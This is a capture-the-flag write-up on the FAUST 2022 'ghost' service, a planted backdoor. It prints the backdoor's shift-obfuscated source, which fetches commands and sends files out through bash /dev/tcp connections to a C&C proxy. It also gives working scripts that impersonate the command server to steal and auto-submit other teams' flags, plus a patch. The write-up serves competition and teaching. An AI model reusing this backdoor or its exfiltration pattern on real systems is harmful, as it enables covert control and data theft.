FAUST 2022 - ghost writeup

FAUST 2022 - ghost writeup

This challenge was a “hidden” service for FAUST 2022 CTF.

The missing service

During this CTF, our deploy for the challenges was a bit weird and when we decrypted them we only found 7 services. Ghost was completely missing, and when the CTF started, unexpectedly, it was reported down.
It took us three hours to find the service and succesfully boot it, a gentle reminder that using the provided vulnbox is always a better idea :)

Python, inside python, inside bash, inside bash, inside a binary

As the service was a “backdoor” it was lightly hidden inside a “setup” binary.
After fiddling a bit with gdb, unpacking many bash scripts, and fixing broken python indentations, we managed to extract the source code of the backdoor:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
import json
import subprocess
import sys
import os
import base64
import random
import threading
import re
import time

IP = ['fd66:777::6']
s = [[84], [51], [86], [91, 90, 108, 97], [38, 92], [94, 92, 97, 104, 25], [25, 55, 40, 93, 94, 111, 40, 109, 92, 105, 40], [40], [92, 102, 93], [92, 102, 93], [104, 110, 109, 98, 93], [104, 110, 109, 98, 93], [108, 94, 103, 93, 94, 107], [108, 94, 103, 93, 94, 107], [92, 102, 93], [104, 110, 109, 98, 93], [108, 94, 103, 93, 94, 107], [84, 90, 38, 115, 58, 38, 83, 41, 38, 50, 86, 116, 42, 41, 118], [84, 90, 38, 115, 58, 38, 83, 41, 38, 50, 86, 116, 42, 41, 118], [], [66, 71, 63, 72], [110, 103, 90, 102, 94], [64, 62, 77, 63, 66, 69, 62], [62, 60, 65, 72], [84, 90, 38, 115, 58, 38, 83, 41, 38, 50, 25, 88, 40, 117, 54, 85, 36, 38, 86, 116, 37, 46, 41, 118], [93, 90, 109, 90], [93, 90, 109, 90], [93, 90, 109, 90], [93, 90, 109, 90], [], [40], [39, 101, 104, 96], [112, 91], [77, 104, 104, 25, 102, 90, 103, 114, 25, 92, 104, 102, 102, 90, 103, 93, 108], [40, 111, 90, 107, 40, 101, 104, 96, 40, 95, 104, 101, 93, 94, 107], [91, 90, 108, 97], [38, 92], [92, 90, 109, 25, 53, 40, 93, 94, 111, 40, 109, 92, 105, 40], [40], [60, 104, 102, 102, 90, 103, 93, 101, 98, 108, 109, 25, 109, 104, 104, 25, 101, 104, 103, 96], [107, 94, 92, 94, 98, 111, 94, 93], [63, 90, 98, 101, 94, 93, 25, 104, 103, 25, 66, 73, 25]]

random.shuffle(IP)

#PROXY_IP = '127.0' + '.0.1' # strange formatting because of generating code
if len(sys.argv) >= 2 and sys.argv[1] == 'local':
PROXY_PORT_RECV = 1111
PROXY_PORT_SEND = 2222
IP = ['::1'] # TODO
else:
PROXY_PORT_RECV = 1236
PROXY_PORT_SEND = 3334

def get_s(i):
return ''.join(map(lambda x: chr(x + o), s[i]))

PATH = ''

def sendcontent(data, receiver):
b64 = get_s(0) + base64.b64encode(data.encode()).decode() + get_s(1) + receiver + get_s(2)
data = subprocess.check_output([
get_s(3),
get_s(4),
get_s(5) + b64 + get_s(6) + IP[0] + get_s(7) + str(PROXY_PORT_SEND)
])

def handle(j, remote):
if not isinstance(j, dict):
return
if not get_s(8) in j or not isinstance(j[get_s(9)], str):
return
if not get_s(10) in j or not isinstance(j[get_s(11)], str):
return
if not get_s(12) in j or not isinstance(j[get_s(13)], str):
return
cmd = j[get_s(14)]
outid = j[get_s(15)]
sender = j[get_s(16)]
if not re.fullmatch(get_s(17), outid):
return
if not re.fullmatch(get_s(18), sender):
return

fileCode = get_s(19)
t = time.time()
for f in os.listdir(PATH):
fn = os.path.join(PATH, f)
dt = t - os.path.getmtime(fn)
if dt >= 30 * 60:
os.remove(fn)
else:
with open(fn) as i:
fileCode += i.read()

if cmd == get_s(20):
co = subprocess.check_output(get_s(21))
elif cmd == get_s(22):
sendcontent(fileCode, sender)
return # no output to write
elif cmd == get_s(23):
if not re.fullmatch(get_s(24), j[get_s(25)]):
return
if len(j[get_s(26)]) < 50:
co = j[get_s(27)].encode()
fileCode += j[get_s(28)]
else:
co = get_s(29)
else:
return
with open(PATH + get_s(30) + outid + get_s(31), get_s(32)) as outf:
outf.write(co)

def handle_list(j, remote):
if not isinstance(j, list):
return
#if len(j) > 4: # We had to comment this out, because of <insert the reason below>
# error(get_s(33))
# return
for x in j:
try:
handle(x, remote)
except Exception as e:
pass

def handle_ip(ip):
global o
o = 0 if __debug__ else 7
global PATH
PATH = get_s(34)
try:
data = subprocess.check_output([get_s(35), get_s(36), get_s(37) + ip + get_s(38) + str(PROXY_PORT_RECV)], stderr=subprocess.STDOUT)
#if len(data) > 400: # We had to comment this out, because of <insert the reason below>
# error(get_s(39))
# return
j = json.loads(data.decode())
print(get_s(40), j)
handle_list(j, ip)
except Exception as e:
print(get_s(41), ip, e)

# We only have one IP here.
# Initially, we could communicate with many C&C servers, but due to <think of any excuse that sounds legit>,
# we now have to proxy all msgs through this server
# it requests the commands from all servers on behalf of us and merges them before sending us
# It selectivly forwards our responses to the specified receiver
# Luckily, we could keep the communication protocol unchanged
for ip in IP:
t = threading.Thread(target=handle_ip, args=(ip,))
t.start()

First thing we did was to analyze the s array, we found that it was just an array of chars shifted by 7, and printed them all.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
0: [
1: :
2: ]
3: bash
4: -c
5: echo
6: >/dev/tcp/
7: /
8: cmd
9: cmd
10: outid
11: outid
12: sender
13: sender
14: cmd
15: outid
16: sender
17: [a-zA-Z0-9]{10}
18: [a-zA-Z0-9]{10}
19:
20: INFO
21: uname
22: GETFILE
23: ECHO
24: [a-zA-Z0-9 _/|=\+-]{,50}
25: data
26: data
27: data
28: data
29:
30: /
31: .log
32: wb
33: Too many commands
34: /var/log/folder
35: bash
36: -c
37: cat </dev/tcp/
38: /
39: Commandlist too long
40: received
41: Failed on IP

Analyzing the rest of the code we realized that the backdoor was requesting commands from a server and returning results to a different port on it.

Bringing the service up

Our first priority was bringing the service up, as at this point we were still not earning points for it.
Our quick patch was to edit the final for of the program in this way:

1
2
3
4
5
6
from time import sleep
for ip in IP:
while(True):
t = threading.Thread(target=handle_ip, args=(ip,))
t.start()
sleep(30)

And running the code. This magically worked and we got our sweet sweet backdoor installed.

(Guessing) The exploit

Reading the source code we could find some comments, telling a bit of lore behind the backdoor’s code.
In particular:

1
2
3
4
5
6
# We only have one IP here.
# Initially, we could communicate with many C&C servers, but due to <think of any excuse that sounds legit>,
# we now have to proxy all msgs through this server
# it requests the commands from all servers on behalf of us and merges them before sending us
# It selectivly forwards our responses to the specified receiver
# Luckily, we could keep the communication protocol unchanged

As usually comments are not left in a backdoor, we expected them to be needed for the exploit.
After a lot of brainstorming with my teammates and many random guesses, we realized that the comment was hinting us that the main server was connecting not only to the checksystem requesting for commands, but also somewhere else.
As the only way for this to be expoitable was for the server to ask us for commands, we tried opening a listener on the vulnbox on the port 1236 (as the comment says that the protocol is the same), and after a few seconds we got a connection!
We then sent the command {'cmd': 'GETFILE', 'outid': 'AAAAAAAAAA', 'sender': 'AAAAAAAAAA'} and listened on the other port (3334) for responses. Immediatly after we got a connection, which contained flags base64-encoded!

Now the task was automatizing it.

We set up two services on our vulnbox: one was sending commands, the other was collecting responses and submitting flags.

The sender code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import socketserver
import socket
import json

import random
import string

def get_random_string(length):
letters = string.ascii_lowercase + string.ascii_uppercase
result_str = ''.join(random.choice(letters) for i in range(length))
return result_str

class MyTCPHandler(socketserver.BaseRequestHandler):

def handle(self):
sender = get_random_string(10)
outid = get_random_string(10)
msg = json.dumps([{'cmd': 'GETFILE', 'outid': outid, 'sender': sender}])
self.request.sendall(msg.encode())

class ForkingTCPv6Server(socketserver.TCPServer):
address_family = socket.AF_INET6


if __name__ == "__main__":
HOST, PORT = "::", 1236

with ForkingTCPv6Server((HOST, PORT), MyTCPHandler) as server:
server.serve_forever()

The receiver code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
import socketserver
import json

import random
import string
import base64
from re import findall
_flg_re = r'FAUST_[A-Za-z0-9/+]{32}'

def get_random_string(length):
letters = string.ascii_lowercase + string.ascii_uppercase
result_str = ''.join(random.choice(letters) for i in range(length))
return result_str

def manual_submit(flags, target):
try:
conn=remote("submission.faustctf.net", 666)
conn.recvline()
conn.recvline()
for flag in flags:
try:
conn.sendline(flag)
res=conn.recvline()
print("flag: "+str(flag)+", answer: "+res.decode())
except Exception as ex:
print(ex)
conn.close()
except Exception as e:
print(e)
print(str(flags))

class ForkingTCPv6Server(socketserver.TCPServer):
address_family = socket.AF_INET6

class MyTCPHandler(socketserver.BaseRequestHandler):

def handle(self):
data = self.request.recv(4096).strip()
tmp_flags = base64.b64decode(data.split(b":")[0][1:]).decode()
print(tmp_flags)
flag=[]
m = findall(_flg_re, tmp_flags)
if m:
for x in m:
flag.append(x)
manual_submit(flag, "")
if __name__ == "__main__":
HOST, PORT = "::", 3334

with ForkingTCPv6Server((HOST, PORT), MyTCPHandler) as server:
server.serve_forever()

Patching the service

At first look the service seems unpatchable, however a detail in the communication protocol allows for returning flags only to the checksystem.
Every request storing a flag had a ‘outid’ key, specifying the name of the file where to save the flag.
Afterwards, the checksystem (and attackers) would retrieve the flag using the GETFILE command, which however ignores the ‘outid’ parameter and simply dumps all files in the directory.
By filtering and returning the content of only the requested file an attacker could not guess the correct ‘outid’, while the checksystem, knowning it, will be able to retrieve the flag.

However, while patching, we must have missed something, as our service went in “recovering” state for the rest of the CTF, making us loose many points (and the third place :( ).
As of now we are still unsure of why the service was not fully working according to the checksystem.

This is the patched code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
import json
import subprocess
import sys
import os
import base64
import random
import threading
import re
import time

IP = ['fd66:777::6']
s = [[84], [51], [86], [91, 90, 108, 97], [38, 92], [94, 92, 97, 104, 25], [25, 55, 40, 93, 94, 111, 40, 109, 92, 105, 40], [40], [92, 102, 93], [92, 102, 93], [104, 110, 109, 98, 93], [104, 110, 109, 98, 93], [108, 94, 103, 93, 94, 107], [108, 94, 103, 93, 94, 107], [92, 102, 93], [104, 110, 109, 98, 93], [108, 94, 103, 93, 94, 107], [84, 90, 38, 115, 58, 38, 83, 41, 38, 50, 86, 116, 42, 41, 118], [84, 90, 38, 115, 58, 38, 83, 41, 38, 50, 86, 116, 42, 41, 118], [], [66, 71, 63, 72], [110, 103, 90, 102, 94], [64, 62, 77, 63, 66, 69, 62], [62, 60, 65, 72], [84, 90, 38, 115, 58, 38, 83, 41, 38, 50, 25, 88, 40, 117, 54, 85, 36, 38, 86, 116, 37, 46, 41, 118], [93, 90, 109, 90], [93, 90, 109, 90], [93, 90, 109, 90], [93, 90, 109, 90], [], [40], [39, 101, 104, 96], [112, 91], [77, 104, 104, 25, 102, 90, 103, 114, 25, 92, 104, 102, 102, 90, 103, 93, 108], [40, 111, 90, 107, 40, 101, 104, 96, 40, 95, 104, 101, 93, 94, 107], [91, 90, 108, 97], [38, 92], [92, 90, 109, 25, 53, 40, 93, 94, 111, 40, 109, 92, 105, 40], [40], [60, 104, 102, 102, 90, 103, 93, 101, 98, 108, 109, 25, 109, 104, 104, 25, 101, 104, 103, 96], [107, 94, 92, 94, 98, 111, 94, 93], [63, 90, 98, 101, 94, 93, 25, 104, 103, 25, 66, 73, 25]]

random.shuffle(IP)


def sortkey(item):
res = 0
if(("cmd" in item.keys()) and (item["cmd"]=="GETFILE")):
res = 1
return res

#PROXY_IP = '127.0' + '.0.1' # strange formatting because of generating code
if len(sys.argv) >= 2 and sys.argv[1] == 'local':
PROXY_PORT_RECV = 1111
PROXY_PORT_SEND = 2222
IP = ['::1'] # TODO
else:
PROXY_PORT_RECV = 1236
PROXY_PORT_SEND = 3334

def get_s(i):
return ''.join(map(lambda x: chr(x + o), s[i]))

PATH = ''

def sendcontent(data, receiver):
b64 = get_s(0) + base64.b64encode(data.encode()).decode() + get_s(1) + receiver + get_s(2)
data = subprocess.check_output([
get_s(3),
get_s(4),
get_s(5) + b64 + get_s(6) + IP[0] + get_s(7) + str(PROXY_PORT_SEND)
])

def handle(j, remote):
if not isinstance(j, dict):
return
if not get_s(8) in j or not isinstance(j[get_s(9)], str):
return
if not get_s(10) in j or not isinstance(j[get_s(11)], str):
return
if not get_s(12) in j or not isinstance(j[get_s(13)], str):
return
cmd = j[get_s(14)]
outid = j[get_s(15)]
sender = j[get_s(16)]
if not re.fullmatch(get_s(17), outid):
return
if not re.fullmatch(get_s(18), sender):
return

fileCode = get_s(19)
t = time.time()
for f in os.listdir(PATH):
fn = os.path.join(PATH, f)
dt = t - os.path.getmtime(fn)
if dt >= 30 * 60:
os.remove(fn)
if(cmd=="GETFILE" and os.path.exists(PATH + get_s(30) + outid + get_s(31))):
with open(PATH + get_s(30) + outid + get_s(31)) as i:
fileCode += i.read()

if cmd == get_s(20):
co = subprocess.check_output(get_s(21))
elif cmd == get_s(22):
sendcontent(fileCode, sender)
return # no output to write
elif cmd == get_s(23):
if not re.fullmatch(get_s(24), j[get_s(25)]):
return
if len(j[get_s(26)]) < 50:
co = j[get_s(27)].encode()
fileCode += j[get_s(28)]
else:
co = get_s(29)
else:
return
with open(PATH + get_s(30) + outid + get_s(31), get_s(32)) as outf:
outf.write(co)

def handle_list(j, remote):
if not isinstance(j, list):
return
#if len(j) > 4: # We had to comment this out, because of <insert the reason below>
# error(get_s(33))
# return
for x in j:
try:
handle(x, remote)
except Exception as e:
pass

def handle_ip(ip):
global o
o =7
global PATH
PATH = get_s(34)
try:
data = subprocess.check_output([get_s(35), get_s(36), get_s(37) + ip + get_s(38) + str(PROXY_PORT_RECV)], stderr=subprocess.STDOUT)
#if len(data) > 400: # We had to comment this out, because of <insert the reason below>
# error(get_s(39))
# return
j = json.loads(data.decode())
j.sort(key=sortkey)
print(get_s(40), j)
handle_list(j, ip)
except Exception as e:
print(get_s(41), ip, e)

# We only have one IP here.
# Initially, we could communicate with many C&C servers, but due to <think of any excuse that sounds legit>,
# we now have to proxy all msgs through this server
# it requests the commands from all servers on behalf of us and merges them before sending us
# It selectivly forwards our responses to the specified receiver
# Luckily, we could keep the communication protocol unchanged
from time import sleep
for ip in IP:
while(True):
t = threading.Thread(target=handle_ip, args=(ip,))
t.start()
sleep(30)